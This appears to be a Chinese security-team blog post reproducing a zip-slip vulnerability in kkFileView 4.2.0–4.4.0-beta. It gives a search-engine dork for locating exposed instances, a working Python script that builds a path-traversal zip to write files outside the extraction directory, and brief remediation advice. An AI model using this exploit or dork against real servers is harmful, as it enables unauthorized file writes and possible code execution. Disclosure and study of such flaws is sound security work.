前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >漏洞复现|kkFileView存在zip-slip漏洞

漏洞复现|kkFileView存在zip-slip漏洞

作者头像
OneTS安全团队
发布2025-02-07 16:25:57
发布2025-02-07 16:25:57
7600
代码可运行
举报
文章被收录于专栏:OneTS安全团队OneTS安全团队
运行总次数:0
代码可运行

声明

本文属于OneTS安全团队成员98的原创文章,转载请声明出处!本文章仅用于学习交流使用,因利用此文信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,OneTS安全团队及文章作者不为此承担任何责任。

kkFileView介绍

kkFileView为文件文档在线预览解决方案,该项目使用流行的spring boot搭建,易上手和部署,支持主流办公文档的在线预览,如doc,docx,xls,xlsx,ppt,pptx,pdf,txt,zip,rar,图片,视频,音频等。

漏洞描述

受影响版本中的文件上传功能在处理压缩包时存在安全问题,攻击者可以上传恶意的压缩包并覆盖文件,通过调用覆盖文件可以执行任意代码

漏洞影响版本

4.2.0 <= kkFileView <= 4.4.0-beta

资产测绘平台Dork

title="kkFileView"

漏洞复现

🔸部署方式

🔸EXP代码

代码语言:javascript
代码运行次数:0
复制
import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'ONETS123team'
        binary2 = b'zimudao'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/zimudaoONETS", binary2)
        zipFile.close()
    except IOError as e:
        raise e

🔸制作恶意的zip包 上传并预览,上传并预览,即可任意文件追加写入到对应目录

🔸成功创建文件

漏洞修复建议

  • 临时修复可对预览白名单地址进行限制。
  • 目前官方暂未发布最新版,建议关闭对外访问
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-05-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 OneTS安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档